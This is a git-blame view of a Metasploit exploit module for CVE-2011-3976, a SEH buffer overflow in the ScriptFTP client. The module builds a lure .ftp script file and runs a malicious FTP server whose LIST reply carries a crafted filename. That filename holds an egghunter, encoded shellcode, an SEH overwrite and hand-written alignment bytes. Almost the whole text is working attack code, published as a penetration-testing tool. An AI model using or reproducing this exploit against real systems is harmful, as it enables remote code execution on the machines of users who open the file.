Files
metasploit-gs/modules/exploits/windows/ftp/scriptftp_list.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

174 lines
5.3 KiB
Ruby
Raw Normal View History

2011-10-09 04:17:03 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-10-09 04:17:03 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2011-10-09 04:17:03 +00:00
Rank = GoodRanking
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
include Msf::Exploit::Remote::FtpServer
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Egghunter
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
def initialize(info = {})
super(update_info(info,
2014-03-11 12:07:27 -05:00
'Name' => 'ScriptFTP LIST Remote Buffer Overflow',
2011-10-09 04:17:03 +00:00
'Description' => %q{
2014-03-11 12:07:27 -05:00
AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow
vulnerability that is triggered when processing a sufficiently long
filename during a FTP LIST command resulting in overwriting the
exception handler. Social engineering of executing a specially crafted
2017-09-13 22:03:34 -04:00
ftp file by double click will result in connecting to our malicious
2014-03-11 12:07:27 -05:00
server and perform arbitrary code execution which allows the attacker to
gain the same rights as the user running ScriptFTP. This vulnerability
affects versions 3.3 and earlier.
2011-10-09 04:17:03 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'modpr0be', #Vulnerability discovery and original exploit
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
'mr_me <steventhomasseeley[at]gmail.com>', # Metasploit module
],
'References' =>
[
2011-10-09 22:56:17 +00:00
[ 'CVE', '2011-3976' ],
[ 'OSVDB', '75633' ],
2012-10-23 21:02:09 +02:00
[ 'EDB', '17876' ],
2012-12-13 14:19:53 -06:00
[ 'US-CERT-VU', '440219' ]
2011-10-09 04:17:03 +00:00
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
2020-01-14 20:47:27 -05:00
'DisablePayloadHandler' => false
2011-10-09 04:17:03 +00:00
},
'Payload' =>
{
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EDI', # Egghunter jmp edi
}
},
'Platform' => 'win',
'Targets' =>
[
# CALL DWORD PTR SS:[EBP-4]
# scriptftp.exe - File version=Build 3/9/2009
[ 'Windows XP SP3 / Windows Vista', { 'Offset' => 1746, 'Ret' => "\xd6\x41" } ],
2011-10-09 04:17:03 +00:00
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2011-10-12',
2011-10-09 04:17:03 +00:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ftp']),
])
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
end
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
def setup
if datastore['SRVHOST'] == '0.0.0.0'
lhost = Rex::Socket.source_address('50.50.50.50')
else
lhost = datastore['SRVHOST']
end
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
ftp_file = "OPENHOST('#{lhost}','ftp','ftp')\r\n"
ftp_file << "SETPASSIVE(ENABLED)\r\n"
ftp_file << "GETLIST($list,REMOTE_FILES)\r\n"
ftp_file << "CLOSEHOST\r\n"
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
print_status("Creating '#{datastore['FILENAME']}'...")
file_create(ftp_file)
super
end
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
def on_client_command_list(c,arg)
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
code = 226
c.put("#{code} Directory send ok.\r\n")
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
eggoptions =
{
:checksum => false,
:eggtag => 'cure'
}
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
# Encode with alphamixed, then unicode mixed
[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
enc = framework.encoders.create(name)
if name =~ /unicode/
# aligned to ESP & EAX
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
else
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
end
# NOTE: we already eliminated badchars
hunter = enc.encode(hunter, nil, nil, platform)
if name =~/alpha/
#insert getpc_stub & align EDX, unicode encoder friendly.
#Hardcoded stub is not an issue here because it gets encoded anyway
getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
hunter = getpc_stub + hunter
end
}
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
unicode_nop = "\x6d" # DD BYTE PTR DS:[ECX],AL
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
nseh = "\x61" << unicode_nop
seh = target.ret
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
alignment = "\x54" # PUSH ESP
alignment << unicode_nop
alignment << "\x58" # POP EAX
alignment << unicode_nop
alignment << "\x05\x12\x11" # ADD EAX,11001200
alignment << unicode_nop
alignment << "\x2d\x01\x01" # SUB EAX,1000100
alignment << unicode_nop
alignment << "\x2d\x01\x10" # SUB EAX,10000100
alignment << unicode_nop
alignment << "\x50" # PUSH EAX
alignment << unicode_nop
alignment << "\xc3" # RETN
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
buffer = rand_text_alpha(656)
buffer << hunter
buffer << rand_text_alpha(target['Offset']-buffer.length)
buffer << nseh
buffer << seh
buffer << alignment
buffer << rand_text_alpha(500)
buffer << egg
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
print_status(" - Sending directory list via data connection")
dirlist = "-rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n"
dirlist << " 5 ftpuser ftpusers 512 Jul 26 2001 A\r\n"
dirlist << "rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n"
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
conn.put(dirlist)
conn.close
return
end
end